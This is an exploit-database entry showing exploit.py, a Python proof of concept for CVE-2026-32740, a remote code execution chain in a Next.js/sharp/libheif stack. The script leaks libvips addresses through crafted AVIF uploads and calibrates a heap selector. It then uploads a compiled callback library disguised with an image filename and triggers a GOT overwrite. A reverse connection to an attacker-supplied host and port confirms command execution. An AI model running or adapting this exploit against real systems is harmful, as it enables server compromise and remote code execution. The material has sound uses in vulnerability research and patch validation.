Exploit database

GH-005ae1bbbddd8321efdbf101d691a3cc

fortbridge-uk/libheif-grid-nextjs-rce

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-32740

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files21
fortbridge-uk/libheif-grid-nextjs-rceRevision 77772816fe39

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Suggested starting filePython · 20,787 bytes
#!/usr/bin/env python3
"""Remote Next.js/sharp/libheif RCE proof for the hardcoded research stack."""

from __future__ import annotations

import argparse
import json
from pathlib import Path, PurePosixPath
import re
import shutil
import socket
import subprocess
import tempfile
import threading
import urllib.error
import urllib.parse
import urllib.request
import uuid

from control_target import derive_control_target
from heap_calibrator import analyze_heap_calibration, resolve_heap_selector
from profile_classifier import classify_libvips_profiles
from rce_payload import build_rce_payload
from stack_profile import (
    DEFAULT_MANIFEST,
    NativeStackProfile,
    ProfileError,
    load_manifest,
)


HERE = Path(__file__).resolve().parent
ASLR_LEAK_IMAGE = HERE / "payloads" / "aslr-leak-128x8192.avif"
CALLBACK_SOURCE = HERE / "callback" / "callback.c"
CALLBACK_LIMIT = 16 * 1024
SAFE_FILENAME_RE = re.compile(r"^[A-Za-z0-9._-]+$")
IMAGE_SUFFIXES = {".avif", ".heic", ".heif", ".jpeg", ".jpg", ".png"}


class RemoteClassificationError(RuntimeError):
    """Raised when returned pixels cannot select one exact profile/base pair."""

    def __init__(self, attempts: list[dict[str, object]]) -> None:
        super().__init__(
            "ASLR-leak responses never selected one unique libvips profile/base pair",
        )
        self.attempts = attempts


class RemoteCalibrationError(RuntimeError):
    """Raised when returned pixels cannot derive one heap selector."""

    def __init__(self, message: str, observations: list[dict[str, object]]) -> None:
        super().__init__(message)
        self.observations = observations


def multipart(path: Path, remote_name: str,
              content_type: str) -> tuple[bytes, str]:
    boundary = "----fortbridge-" + uuid.uuid4().hex
    body = (
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="file"; '
        f'filename="{remote_name}"\r\n'
        f"Content-Type: {content_type}\r\n\r\n"
    ).encode()
    body += path.read_bytes()
    body += f"\r\n--{boundary}--\r\n".encode()
    return body, boundary


def upload(target: str, path: Path, remote_name: str,
           content_type: str, endpoint: str) -> dict[str, object]:
    body, boundary = multipart(path, remote_name, content_type)
    request = urllib.request.Request(
        target + endpoint,
        data=body,
        headers={
            "Content-Type": f"multipart/form-data; boundary={boundary}",
            "User-Agent": "Fortbridge-libheif-grid-PoC",
        },
        method="POST",
    )
    with urllib.request.urlopen(request, timeout=20) as response:
        result = json.loads(response.read())
    if not result.get("ok") or result.get("name") != remote_name:
        raise RuntimeError(f"upload endpoint changed the filename: {result!r}")
    return result


def optimize(target: str, remote_name: str, endpoint: str,
             timeout: float = 30) -> tuple[bytes, dict[str, str]]:
    query = urllib.parse.urlencode({"file": remote_name})
    request = urllib.request.Request(
        target + endpoint + "?" + query,
        headers={"User-Agent": "Fortbridge-libheif-grid-PoC"},
    )
    with urllib.request.urlopen(request, timeout=timeout) as response:
        if response.status != 200:
            raise RuntimeError(f"optimizer returned HTTP {response.status}")
        hints = {
            key.lower(): value
            for key, value in response.headers.items()
            if key.lower() in {
                "content-type", "server", "via", "x-nextjs-cache",
                "x-powered-by",
            }
        }
        return response.read(), hints


def disclose_libvips_base(
    png: bytes,
    profile: NativeStackProfile,
) -> tuple[int | None, dict[str, object]]:
    classification = classify_libvips_profiles(png, [profile])
    candidate = classification["candidates"][0]
    strict = [item["base"] for item in candidate["supported_bases"]]
    result = {
        "width": classification["image"]["width"],
        "height": classification["image"]["height"],
        "pointer_qwords": candidate["distinct_pointer_qwords"],
        "strict_candidates": strict,
    }
    base = classification["selected_base"]
    return (int(base, 0) if isinstance(base, str) else None), result


def _classification_surface(
    profiles: tuple[NativeStackProfile, ...],
) -> tuple[str, str]:
    surfaces = {
        (
            profile.application.upload_endpoint,
            profile.application.optimize_endpoint,
        )
        for profile in profiles
    }
    if len(surfaces) != 1:
        raise ValueError(
            "classifier candidates must share one upload/optimisation surface",
        )
    return next(iter(surfaces))


def classify_and_calibrate_remote(
    target: str,
    attempts: int,
    profiles: tuple[NativeStackProfile, ...],
) -> tuple[
    NativeStackProfile,
    int,
    int,
    list[dict[str, object]],
    list[dict[str, object]],
]:
    upload_endpoint, optimize_endpoint = _classification_surface(profiles)
    profiles_by_id = {profile.profile_id: profile for profile in profiles}
    results = []
    calibrations: list[dict[str, object]] = []
    selected_profile: NativeStackProfile | None = None
    selected_base: int | None = None
    for attempt in range(1, attempts + 1):
        name = f"aslr-leak-{uuid.uuid4().hex}.avif"
        upload(
            target, ASLR_LEAK_IMAGE, name, "image/avif",
            upload_endpoint,
        )
        png, observed_hints = optimize(target, name, optimize_endpoint)
        classification = classify_libvips_profiles(
            png, profiles, observed_hints,
        )
        classification["attempt"] = attempt
        results.append(classification)
        print(
            f"[classify {attempt}/{attempts}] status="
            f"{classification['status']} supported_pairs="
            f"{classification['supported_pair_count']}",
            flush=True,
        )
        selected_id = classification["selected_profile_id"]
        selected_base_text = classification["selected_base"]
        if isinstance(selected_id, str) and isinstance(selected_base_text, str):
            current_profile = profiles_by_id[selected_id]
            current_base = int(selected_base_text, 0)
            if selected_profile is None:
                selected_profile = current_profile
                selected_base = current_base
            elif (
                current_profile.profile_id != selected_profile.profile_id
                or current_base != selected_base
            ):
                raise RemoteCalibrationError(
                    "remote profile/base changed during heap calibration",
                    calibrations,
                )
        if selected_profile is None or selected_base is None:
            continue
        calibration = analyze_heap_calibration(
            png, selected_profile, selected_base,
        )
        calibration["attempt"] = attempt
        calibration["classification_status"] = classification["status"]
        calibrations.append(calibration)
        try:
            selector = resolve_heap_selector(calibrations, selected_profile)
        except ValueError as error:
            raise RemoteCalibrationError(str(error), calibrations) from error
        print(
            f"[calibrate {attempt}/{attempts}] candidates="
            f"{calibration['candidate_selectors']} selector="
            f"{hex(selector) if selector is not None else 'pending'}",
            flush=True,
        )
        if selector is not None:
            return (
                selected_profile,
                selected_base,
                selector,
                results,
                calibrations,
            )
    if selected_profile is None:
        raise RemoteClassificationError(results)
    raise RemoteCalibrationError(
        "ASLR-leak responses never produced one supported heap selector",
        calibrations,
    )


def _validate_callback_host(callback_host: str) -> None:
    try:
        socket.inet_pton(socket.AF_INET, callback_host)
    except OSError as error:
        raise ValueError("--callback-host must be a routable IPv4 address") from error


def compile_callback_library(output: Path, callback_host: str,
                             callback_port: int, token: str) -> None:
    """Compile the fixed `/usr/bin/id` constructor on the attacker side."""
    _validate_callback_host(callback_host)
    if not 1 <= callback_port <= 65535:
        raise ValueError("callback port must be between 1 and 65535")
    if not re.fullmatch(r"[0-9a-f]{32}", token):
        raise ValueError("callback token must contain 32 lowercase hex digits")
    compiler = shutil.which("cc")
    if compiler is None:
        raise RuntimeError("an attacker-side C compiler named cc is required")
    subprocess.run(
        [
            compiler,
            "-shared", "-fPIC", "-O2", "-Wall", "-Wextra",
            f'-DCALLBACK_HOST="{callback_host}"',
            f"-DCALLBACK_PORT={callback_port}",
            f'-DCALLBACK_TOKEN="{token}"',
            str(CALLBACK_SOURCE), "-o", str(output),
        ],
        check=True,
    )


def remote_library_path(
    profile: NativeStackProfile,
    library_name: str | None,
    upload_directory: str | None,
) -> tuple[str, str]:
    """Return a safe image-looking upload name and target-relative path."""
    selected_name = library_name or profile.application.library_name
    selected_directory = upload_directory or profile.application.upload_directory
    if (
        not SAFE_FILENAME_RE.fullmatch(selected_name)
        or selected_name in {".", ".."}
    ):
        raise ValueError("--library-name must be one safe path component")
    if PurePosixPath(selected_name).suffix.lower() not in IMAGE_SUFFIXES:
        raise ValueError("--library-name must use an image suffix")
    path = PurePosixPath(selected_directory)
    if (
        not selected_directory
        or path.is_absolute()
        or ".." in path.parts
        or any(
            not SAFE_FILENAME_RE.fullmatch(component)
            or component in {".", ".."}
            for component in path.parts
        )
    ):
        raise ValueError("--remote-upload-dir must be a safe relative path")
    remote_path = f"{selected_directory}/{selected_name}"
    try:
        path_size = len(remote_path.encode("ascii")) + 1
    except UnicodeEncodeError as error:
        raise ValueError("the remote library path must be ASCII") from error
    if path_size > profile.application.max_library_path_bytes:
        raise ValueError(
            f"library path {remote_path!r} exceeds the selected profile limit",
        )
    return selected_name, remote_path


def parse_callback(data: str, token: str) -> dict[str, object]:
    """Validate attempt correlation and extract the fixed command output."""
    lines = data.splitlines()
    token_matches = bool(
        lines and lines[0] == f"FORTBRIDGE_RCE_CALLBACK {token}"
    )
    command_matches = len(lines) >= 2 and lines[1] == (
        "FORTBRIDGE_COMMAND /usr/bin/id"
    )
    command_output = "\n".join(lines[2:]) if len(lines) >= 3 else ""
    return {
        "token_matched": token_matches,
        "proof_command": "/usr/bin/id" if command_matches else None,
        "command_output": command_output,
        "valid": (
            token_matches
            and command_matches
            and command_output.startswith("uid=")
        ),
    }


def run(args: argparse.Namespace) -> dict[str, object]:
    manifest = load_manifest(args.profile_manifest)
    if args.profile:
        try:
            profiles = (manifest.profiles[args.profile],)
        except KeyError as error:
            raise ProfileError(
                f"unknown native-stack profile: {args.profile}",
            ) from error
    else:
        profiles = tuple(manifest.profiles.values())
    _classification_surface(profiles)
    if args.leak_attempts < 1:
        raise ValueError("--leak-attempts must be positive")
    target = args.target.rstrip("/")
    if not target.startswith(("http://", "https://")):
        raise ValueError("--target must start with http:// or https://")
    _validate_callback_host(args.callback_host)

    (
        profile,
        libvips_base,
        heap_selector,
        classifications,
        calibrations,
    ) = classify_and_calibrate_remote(target, args.leak_attempts, profiles)
    selected = next(
        item for item in classifications
        if item["selected_profile_id"] == profile.profile_id
        and item["selected_base"] == hex(libvips_base)
    )
    print(f"[profile] {profile.profile_id}")
    print(f"[leak] libvips base = {libvips_base:#x}")
    print(f"[calibration] fake-node selector = {heap_selector:#x}")
    control_target = derive_control_target(libvips_base, profile)
    library_name, remote_path = remote_library_path(
        profile,
        args.library_name,
        args.remote_upload_dir,
    )
    token = uuid.uuid4().hex
    print(
        f"[target] {control_target.module}+{control_target.offset:#x} "
        f"= {control_target.address:#x}",
    )

    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listener.bind((args.listen_host, args.callback_port))
    listener.listen(1)
    listener.settimeout(args.callback_timeout)
    callback: dict[str, object] = {}

    def accept_callback() -> None:
        try:
            connection, peer = listener.accept()
            with connection:
                chunks = []
                received = 0
                while received < CALLBACK_LIMIT:
                    chunk = connection.recv(
                        min(4096, CALLBACK_LIMIT - received),
                    )
                    if not chunk:
                        break
                    chunks.append(chunk)
                    received += len(chunk)
                data = b"".join(chunks).decode("ascii", errors="replace")
            callback.update({"peer": peer[0], "data": data})
            callback.update(parse_callback(data, token))
        except Exception as error:
            callback["error"] = repr(error)

    try:
        with tempfile.TemporaryDirectory(prefix="libheif-grid-rce-") as temp_dir:
            temporary = Path(temp_dir)
            library = temporary / library_name
            payload = temporary / "exploit.avif"
            compile_callback_library(
                library, args.callback_host, args.callback_port, token,
            )
            print(f"[stage] uploading callback library as {library_name}")
            upload(
                target,
                library,
                library_name,
                profile.application.library_content_type,
                profile.application.upload_endpoint,
            )

            payload.write_bytes(
                build_rce_payload(
                    libvips_base,
                    heap_selector,
                    control_target.address,
                    remote_path,
                    profile,
                ),
            )
            payload_name = f"exploit-{uuid.uuid4().hex}.avif"
            upload(
                target, payload, payload_name, "image/avif",
                profile.application.upload_endpoint,
            )

            callback_thread = threading.Thread(
                target=accept_callback, daemon=True,
            )
            callback_thread.start()
            trigger_error = None
            try:
                optimize(
                    target,
                    payload_name,
                    profile.application.optimize_endpoint,
                    timeout=args.trigger_timeout,
                )
            except Exception as error:
                # The process may die after the library constructor has run.
                # A dropped request is recorded but is never treated as proof.
                trigger_error = repr(error)
            callback_thread.join(timeout=args.callback_timeout + 1)
            success = callback.get("valid") is True
            return {
                "target": target,
                "profile_id": profile.profile_id,
                "success": success,
                "callback": callback,
                "libvips_base": hex(libvips_base),
                "control_target": {
                    **control_target.evidence(),
                    "remote_anchor_evidence": selected["selected_anchors"],
                },
                "heap_calibration": {
                    "derived_selector": hex(heap_selector),
                    "selector_source": calibrations[-1]["selector_source"],
                    "profile_candidate_selector": calibrations[-1][
                        "profile_candidate_selector"
                    ],
                    "profile_selector_evidence": calibrations[-1][
                        "profile_selector_evidence"
                    ],
                    "record_candidate_selectors": calibrations[-1][
                        "record_candidate_selectors"
                    ],
                    "minimum_observations": (
                        profile.heap_calibration.minimum_observations
                    ),
                    "observations": calibrations,
                },
                "classification": {
                    "selected_attempt": selected["attempt"],
                    "selected_profile_id": selected["selected_profile_id"],
                    "selected_base": selected["selected_base"],
                    "selected_anchors": selected["selected_anchors"],
                    "rejected_candidates": selected["rejected_candidates"],
                    "attempts": classifications,
                },
                "remote_library": remote_path,
                "payload_name": payload_name,
                "upload_contract": {
                    "calibration_leaks": {
                        "count": len(classifications),
                        "filename_suffix": ".avif",
                        "content_type": "image/avif",
                    },
                    "callback_library": {
                        "filename": library_name,
                        "remote_path": remote_path,
                        "content_type": profile.application.library_content_type,
                    },
                    "payload": {
                        "filename": payload_name,
                        "content_type": "image/avif",
                    },
                },
                "node_profile": {
                    "elf_type": profile.node.elf_type,
                    "build_id": profile.node.build_id,
                    "sha256": profile.node.sha256,
                },
                "trigger_error": trigger_error,
            }
    finally:
        listener.close()


def main() -> int:
    parser = argparse.ArgumentParser(
        description="CVE-2026-32740 leak-to-memcpy-GOT RCE PoC",
    )
    parser.add_argument("--target", required=True,
                        help="base URL of the Next.js lab")
    parser.add_argument("--callback-host", required=True,
                        help="IPv4 address reachable from the target")
    parser.add_argument("--callback-port", type=int, default=31337)
    parser.add_argument("--listen-host", default="0.0.0.0")
    parser.add_argument("--callback-timeout", type=float, default=12)
    parser.add_argument("--trigger-timeout", type=float, default=20)
    parser.add_argument("--leak-attempts", type=int, default=128)
    parser.add_argument(
        "--profile-manifest", type=Path, default=DEFAULT_MANIFEST,
        help="native-stack profile manifest",
    )
    parser.add_argument(
        "--profile",
        help="restrict classification to one exact profile ID",
    )
    parser.add_argument(
        "--library-name",
        help="override the image-looking callback-library filename",
    )
    parser.add_argument(
        "--remote-upload-dir",
        help="override the selected profile's target upload directory",
    )
    parser.add_argument("--json-output", type=Path)
    parser.add_argument(
        "--concise", action="store_true",
        help="omit the full JSON result from the terminal",
    )
    args = parser.parse_args()
    result = run(args)
    if not args.concise:
        print(json.dumps(result, indent=2, sort_keys=True))
    if args.json_output:
        args.json_output.write_text(json.dumps(result, indent=2) + "\n")
    if result["success"]:
        callback = result["callback"]
        print(f"[RCE] /usr/bin/id -> {callback['command_output']}")
    return 0 if result["success"] else 1


if __name__ == "__main__":
    raise SystemExit(main())